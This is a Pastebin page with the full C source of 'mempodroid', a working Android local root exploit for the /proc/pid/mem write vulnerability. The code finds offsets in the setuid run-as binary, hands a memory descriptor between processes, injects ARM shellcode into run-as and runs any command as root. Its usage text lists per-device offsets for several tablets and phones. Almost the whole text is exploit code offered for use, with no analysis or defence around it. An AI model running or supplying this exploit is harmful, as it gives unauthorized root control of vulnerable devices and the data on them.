Advertisement
Guest User

Untitled

a guest
Jun 17th, 2012
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.74 KB | None | 0 0
  1. /* mempodroid - implementation of /proc/#/mem exploit for Android
  2.  * Copyright (C) 2012  Jay Freeman (saurik)
  3. */
  4.  
  5. /* Modified BSD License {{{ */
  6. /*
  7.  *        Redistribution and use in source and binary
  8.  * forms, with or without modification, are permitted
  9.  * provided that the following conditions are met:
  10.  *
  11.  * 1. Redistributions of source code must retain the
  12.  *    above copyright notice, this list of conditions
  13.  *    and the following disclaimer.
  14.  * 2. Redistributions in binary form must reproduce the
  15.  *    above copyright notice, this list of conditions
  16.  *    and the following disclaimer in the documentation
  17.  *    and/or other materials provided with the
  18.  *    distribution.
  19.  * 3. The name of the author may not be used to endorse
  20.  *    or promote products derived from this software
  21.  *    without specific prior written permission.
  22.  *
  23.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS''
  24.  * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
  25.  * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
  26.  * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  27.  * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE
  28.  * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
  29.  * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
  30.  * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
  31.  * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
  32.  * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  33.  * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
  34.  * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
  35.  * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
  36.  * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  37. */
  38. /* }}} */
  39.  
  40. #include <stdio.h>
  41. #include <unistd.h>
  42. #include <stdlib.h>
  43. #include <sys/types.h>
  44. #include <sys/socket.h>
  45. #include <fcntl.h>
  46. #include <errno.h>
  47. #include <stdbool.h>
  48. #include <sys/stat.h> //for offsets
  49.  
  50. #define argv0 "xe-jM_uH"
  51.  
  52. #define _syscall(expr) ({ \
  53.     __typeof__(expr) _value; \
  54.     for(;;) if ((long) (_value = (expr)) != -1) \
  55.         break; \
  56.     else if (errno != EINTR) { \
  57.         char line[1024]; \
  58.         sprintf(line, "(%u)", __LINE__); \
  59.         perror(line); \
  60.         exit(1); \
  61.     } \
  62.     _value; \
  63. })
  64.  
  65. #define _assert(test) do { \
  66.     if (!(test)) { \
  67.         fprintf(stderr, "_assert(%s)\n", #test); \
  68.         exit(1); \
  69.     } \
  70. } while (false)
  71.  
  72. static const int pattern_length = 8;
  73. static const int exit_offset_in_pattern = 4;
  74. static const int suid_offset_in_pattern = 6;
  75.  
  76. static const unsigned char exit_pattern[8] = {
  77.   0xB0, 0xFF, 0xFF, 0xFF, 0x04, 0x46, 0x00, 0x20
  78. };
  79.  
  80. static const unsigned char suid_pattern[8] = {
  81.   0xD0, 0x40, 0xE0, 0x3D, 0x68, 0x28, 0x46, 0x29
  82. };
  83.  
  84.  
  85. /* Search a pattern in memory */
  86. static int search(unsigned char* data, int data_length, const unsigned char* pattern)
  87. {
  88.   int i = 0;
  89.   int last_offset = data_length - pattern_length;
  90.  
  91.   while (i < last_offset && memcmp(data + i, pattern, pattern_length)) {
  92.     i++;
  93.   }  
  94.   return (i < last_offset && !memcmp(data + i, pattern, pattern_length))? i : -1;
  95. }
  96.  
  97. /* Get the Mempodroid offsets */
  98. static void getOffsets(int* exit_offset, int* suid_offset, const char* path)
  99. {
  100.   int fd  = -1;
  101.   int fsz = -1;
  102.   int frd = -1;
  103.   unsigned char* data = NULL;
  104.  
  105.   // Open the file
  106.   fd = open(path, O_RDONLY);
  107.   if (-1 == fd) {
  108.     return;
  109.   }  
  110.   // Get file size
  111.   fsz = lseek(fd, 0, SEEK_END);
  112.   if (-1L == fsz) {
  113.     close(fd);
  114.     return;
  115.   }
  116.   // Allocate memory for the file
  117.   data = malloc(fsz);
  118.   if (NULL == data) {
  119.     close(fd);
  120.     return;
  121.   }
  122.   // Read the file
  123.   lseek(fd, 0, SEEK_SET);
  124.   frd = read(fd, data, fsz);
  125.   if (-1 == frd || frd != fsz) {
  126.     close(fd);
  127.     free(data);
  128.     return;
  129.   }  
  130.   // Search exit offset
  131.   *exit_offset = search(data, frd, exit_pattern) + exit_offset_in_pattern + 0x8000;
  132.  
  133.   // Search setresuid offset
  134.   *suid_offset = search(data, frd, suid_pattern) + suid_offset_in_pattern + 0x8000;
  135.  
  136.   // Clean-up
  137.   close(fd);
  138.   free(data);
  139. }  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150. static int child(int sock) {
  151.     char path[32];
  152.     sprintf(path, "/proc/%u/mem", getppid());
  153.     int mem = _syscall(open(path, O_WRONLY));
  154.  
  155.     uint8_t data[1] = {0};
  156.  
  157.     struct iovec iov;
  158.     iov.iov_base = data;
  159.     iov.iov_len = sizeof(data);
  160.  
  161.     struct msghdr msg;
  162.     memset(&msg, 0, sizeof(msg));
  163.     msg.msg_iov = &iov;
  164.     msg.msg_iovlen = 1;
  165.  
  166.     char control[CMSG_SPACE(sizeof(int))];
  167.     msg.msg_control = control;
  168.     msg.msg_controllen = sizeof(control);
  169.  
  170.     struct cmsghdr *cmsg;
  171.     cmsg = CMSG_FIRSTHDR(&msg);
  172.     cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  173.     cmsg->cmsg_level = SOL_SOCKET;
  174.     cmsg->cmsg_type = SCM_RIGHTS;
  175.     * (int *) CMSG_DATA(cmsg) = mem;
  176.  
  177.     _syscall(sendmsg(sock, &msg, 0));
  178.     return 0;
  179. }
  180.  
  181. static int parent(int sock, int argc, char *argv[]) {
  182.     uint8_t data[1024];
  183.  
  184.     struct iovec iov;
  185.     iov.iov_base = data;
  186.     iov.iov_len = sizeof(data);
  187.  
  188.     struct msghdr msg;
  189.     memset(&msg, 0, sizeof(msg));
  190.     msg.msg_iov = &iov;
  191.     msg.msg_iovlen = 1;
  192.  
  193.     char control[CMSG_SPACE(sizeof(int))];
  194.     msg.msg_control = control;
  195.     msg.msg_controllen = sizeof(control);
  196.  
  197.     _syscall(recvmsg(sock, &msg, 0));
  198.  
  199.     struct cmsghdr *cmsg;
  200.     cmsg = CMSG_FIRSTHDR(&msg);
  201.     _assert(cmsg != NULL);
  202.  
  203.     _assert(cmsg->cmsg_len == CMSG_SPACE(sizeof(int)));
  204.     _assert(cmsg->cmsg_level == SOL_SOCKET);
  205.     _assert(cmsg->cmsg_type == SCM_RIGHTS);
  206.  
  207.     int mem = * (int *) CMSG_DATA(cmsg);
  208.     _assert(mem != -1);
  209.  
  210.     --argc; ++argv;
  211.  
  212.     off_t offset = strtoul(argv[0], NULL, 0);
  213.     off_t rest = strtoul(argv[1], NULL, 0);
  214.  
  215.     argc -= 2;
  216.     argv += 2;
  217.  
  218.     #ifdef __arm__
  219.     const uint16_t exploit[] = {
  220.         0xbc73, // pop  {r0, r1, r4, r5, r6}
  221.         0x2501, // mov  r5, #1
  222.         0x3d01, // sub  r5, #1
  223.  
  224.         // movw r3, *rest
  225.         0xf640 | (rest & 0x0800) >> 1 | (rest & 0xf000) >> 12,
  226.         0x0300 | (rest & 0x0700) << 4 | (rest & 0x00ff),
  227.  
  228.         0x4718, // bx   r3
  229.     0};
  230.     #endif
  231.  
  232.     offset -= 17;
  233.     lseek(mem, offset, SEEK_SET);
  234.  
  235.     _assert(memchr(exploit, 0, sizeof(exploit)) == exploit + sizeof(exploit) / sizeof(exploit[0]) - 1);
  236.  
  237.     int save = dup(2);
  238.  
  239.     dup2(mem, 2);
  240.     close(mem);
  241.  
  242.     if (save != 3) {
  243.         dup2(save, 3);
  244.         close(save);
  245.     }
  246.  
  247.     char self[1024];
  248.     _syscall(readlink("/proc/self/exe", self, sizeof(self) - 1));
  249.  
  250.     char *args[4 + argc + 1];
  251.     args[0] = strdup("run-as");
  252.     args[1] = (char *) exploit;
  253.     args[2] = self;
  254.     args[3] = strdup("-");
  255.  
  256.     int i;
  257.     for (i = 0; i != argc; ++i)
  258.         args[4 + i] = argv[i];
  259.     args[4 + i] = NULL;
  260.  
  261.     _syscall(execv("/system/bin/run-as", args));
  262.     return 0;
  263. }
  264.  
  265. int main(int argc, char *argv[]) {
  266.     if (argc == 1) {
  267.         printf(
  268.             "usage: mempodroid <exit> <call> <args...>\n"
  269.             "  exit: address in memory to exit function\n"
  270.             "  call: address in memory of setresuid call\n"
  271.             "  args: command to run, including arguments\n"
  272.             "\n"
  273.           "autodetection added by tel0s, recycling code from nesquick95\n"
  274.             "    Acer A200 Tablet 4.0.3: 0xd9f0 0xaf47\n"
  275.             "    Galaxy Nexus 4.0.2: 0xd7f4 0xad4b\n"
  276.             "    Motorola RAZR 4.0.3: 0xd6c4 0xad33\n"
  277.             "    Nexus S 4.0.2: 0xd7cc 0xad27\n"
  278.             "    Transformer Prime 4.0.3: 0xd9ec 0xaf47\n"
  279.             "or pass \'-\' as arg1 and 2 for auto.\n\n"
  280.             "concrete implementation by Jay Freeman (saurik)\n"
  281.             "based on exploit by Jason A. Donenfeld (zx2c4)\n"
  282.             "more information at: http://blog.zx2c4.com/749\n"
  283.             "original kernel exploit reported by Jüri Aedla\n"
  284.             "\n\n Dynamic grab of offsets added for mercury by\n"
  285.             "Nick \'tel0s\' Walker. Original code by nesquick95\n"
  286.         );
  287.  
  288.         return 0;
  289.     }
  290.  
  291.     if (strcmp(argv[1], "-") == 0) {
  292.  
  293.         printf("Dynamically obtaining offsets:\n");
  294.           int exit_offset = -1;
  295.           int suid_offset = -1;
  296.  
  297.         getOffsets(&exit_offset, &suid_offset, "/system/bin/run-as");
  298.  
  299.       printf("\nn95-offsets by Nesquick95 added to mempodipper by tel0s\n");
  300.       printf("\n run ./mempodroid 0x%04x 0x%04x <payload>\n\n", exit_offset, suid_offset);
  301.             dup2(3, 2);
  302.         close(3);
  303.  
  304.         _syscall(execvp(argv[2], argv + 2));
  305.         return 1;
  306.     }
  307.  
  308.     int pair[2];
  309.     _syscall(socketpair(PF_UNIX, SOCK_DGRAM, 0, pair));
  310.  
  311.     if (strcmp(argv[0], argv0) == 0)
  312.         return child(strtoul(argv[1], NULL, 0));
  313.  
  314.     pid_t pid = fork();
  315.     if (pid != 0) {
  316.         close(pair[1]);
  317.         return parent(pair[0], argc, argv);
  318.     }
  319.  
  320.     close(pair[0]);
  321.     char argv1[16];
  322.     sprintf(argv1, "%u", pair[1]);
  323.  
  324.     _syscall(execl("/proc/self/exe", argv0, argv1, NULL));
  325.     return 1;
  326. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement